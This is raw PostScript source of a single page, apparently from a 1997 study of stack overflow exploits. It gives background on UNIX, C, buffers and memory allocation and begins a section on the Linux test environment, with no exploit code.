M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 9823 M (5. UNIX and the C programming language) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9540 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2013 9540 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2475 9540 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3149 9540 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3658 9540 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3815 9540 M (inextricably ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4655 9540 M (linked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5116 9540 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5291 9540 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5540 9540 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5697 9540 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6650 9540 M (language. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7380 9540 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9264 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2190 9264 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2868 9264 M (devloped ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3555 9264 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3799 9264 M (Dennis ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4348 9264 M (Ritchie ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4906 9264 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5104 9264 M (AT&T ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5636 9264 M (Bell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5991 9264 M (Labs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6393 9264 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6600 9264 M (1972, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7052 9264 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7241 9264 M (was ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8988 M (designed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1849 8988 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2032 8988 M (give ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2372 8988 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2629 8988 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3099 8988 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3781 8988 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4298 8988 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4555 8988 M (speed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4988 8988 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5282 8988 M (flexibility ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5991 8988 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6184 8988 M (assembly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6858 8988 M (language. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8712 M (All ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1468 8712 M (modern ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2022 8712 M (implementations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3176 8712 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3360 8712 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3608 8712 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4069 8712 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4742 8712 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5250 8712 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5499 8712 M (written ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6015 8712 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6189 8712 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6437 8712 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6593 8712 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8436 M (language, including system binaries and the kernel. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8160 M (What ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2127 8160 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2294 8160 M (gains ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2701 8160 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2886 8160 M (simplicity ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3607 8160 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3903 8160 M (efficiency, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4667 8160 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4815 8160 M (sacrifices ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5501 8160 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5686 8160 M (terms ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6113 8160 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6308 8160 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6641 8160 M (integrity ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 8160 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7884 M (ease ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1553 7884 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1750 7884 M (use. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2156 7884 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2473 7884 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3095 7884 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3264 7884 M (library ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3766 7884 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3953 7884 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4335 7884 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4809 7884 M (implementations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5976 7884 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6145 7884 M (vulnerable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6905 7884 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7092 7884 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7608 M (overflows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1927 7608 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2214 7608 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2817 7608 M (leaks. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3290 7608 M (Not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3586 7608 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3762 7608 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3966 7608 M (interpreted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4734 7608 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4920 7608 M (errors ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5357 7608 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5533 7608 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5783 7608 M (design ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6264 7608 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6450 7608 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6700 7608 M (language, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 7608 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7332 M (assumes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1844 7332 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2135 7332 M (programmer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3048 7332 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3247 7332 M (responsible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4093 7332 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4376 7332 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4741 7332 M (integrity. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5476 7332 M (Once ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5915 7332 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6077 7332 M (variable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6701 7332 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6900 7332 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7056 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1834 7056 M (space ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2270 7056 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2465 7056 M (C, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2684 7056 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2953 7056 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3619 7056 M (does ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3990 7056 M (nothing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4563 7056 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4758 7056 M (insure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5231 7056 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5546 7056 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5815 7056 M (expected ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6472 7056 M (contents ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7092 7056 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 7056 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6780 M (variable fit into the allocated memory.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6504 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1872 6504 M (programmers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2814 6504 M (often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3208 6504 M (use ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3482 6504 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3737 6504 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4095 6504 M (buffer) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4492 6504 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4544 6504 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4836 6504 M (array) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5206 6504 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5258 6504 M (interchangeably ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6372 6504 M (thus, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6743 6504 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6887 6504 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7050 6504 M (safe ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 6504 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6228 M (define ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1690 6228 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1825 6228 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2294 6228 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2494 6228 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2629 6228 M (contiguous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3419 6228 M (block ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3849 6228 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4049 6228 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4666 6228 M (\(core\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5126 6228 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5436 6228 M (holds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5857 6228 M (multiple ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6472 6228 M (instances ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7143 6228 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 6228 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5952 M (identical ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1829 5952 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2158 5952 M (type. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2580 5952 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2817 5952 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3164 5952 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3382 5952 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4035 5952 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4216 5952 M (C, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4421 5952 M (buffers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4946 5952 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5202 5952 M (declared ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5818 5952 M (dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6443 5952 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6634 5952 M (static. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7121 5952 M (Static ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5676 M (buffers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1743 5676 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2204 5676 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2463 5676 M (explicitly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3145 5676 M (defined ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3699 5676 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3883 5676 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4141 5676 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4631 5676 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5000 5676 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5295 5676 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5554 5676 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6209 5676 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6384 5676 M (load ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6725 5676 M (time ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7076 5676 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5676 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5400 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1546 5400 M (segment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2164 5400 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2356 5400 M (memory. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3059 5400 M (Dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3732 5400 M (arrays ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4203 5400 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4470 5400 M (defined ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5032 5400 M (via ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5298 5400 M (pointers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5897 5400 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6089 5400 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6708 5400 M (locations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 5400 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5124 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1707 5124 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2087 5124 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2393 5124 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2663 5124 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3329 5124 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3515 5124 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3803 5124 M (time ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4165 5124 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4397 5124 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4666 5124 M (stack. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5158 5124 M (Due ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5501 5124 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5696 5124 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5965 5124 M (obvious ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6557 5124 M (limitations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7334 5124 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4848 M (static ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1607 4848 M (arrays, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2104 4848 M (dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2724 4848 M (allocation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3426 4848 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3584 4848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3834 4848 M (method ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4380 4848 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4732 4848 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4908 4848 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5121 4848 M (major ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5557 4848 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6234 4848 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6521 4848 M (applications ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 4848 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1468 4572 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1944 4572 M (environment. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2887 4572 M (Thus, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3322 4572 M (Smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4039 4572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4302 4572 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4704 4572 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4903 4572 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5305 4572 M (overflow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5966 4572 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6552 4572 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6816 4572 M (concerned ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4296 M (only with programs that do dynamic allocation.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 3727 M (6. Tools used for testing) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 3437 M (Linux, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2214 3437 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2356 3437 M (freely ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2813 3437 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3481 3437 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3965 3437 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4661 3437 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5192 3437 M (running ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5777 3437 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6011 3437 M (Intel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6384 3437 M (x86 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6701 3437 M (hardware ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 3437 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3161 M (assumed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1825 3161 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2068 3161 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2319 3161 M (examples ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2996 3161 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3173 3161 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3461 3161 M (study. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3953 3161 M (While ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4407 3161 M (efforts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4891 3161 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5143 3161 M (made ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5552 3161 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5729 3161 M (insure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6184 3161 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6481 3161 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 3161 M (examples ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2885 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1456 2885 M (generic, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2031 2885 M (implementation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3118 2885 M (details ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3595 2885 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3842 2885 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4282 2885 M (specific ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4843 2885 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5015 2885 M (some ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5410 2885 M (places. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5953 2885 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6255 2885 M (methods ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6862 2885 M (presented ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2609 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1430 2609 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1761 2609 M (document ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2508 2609 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2803 2609 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3106 2609 M (limited ) ST 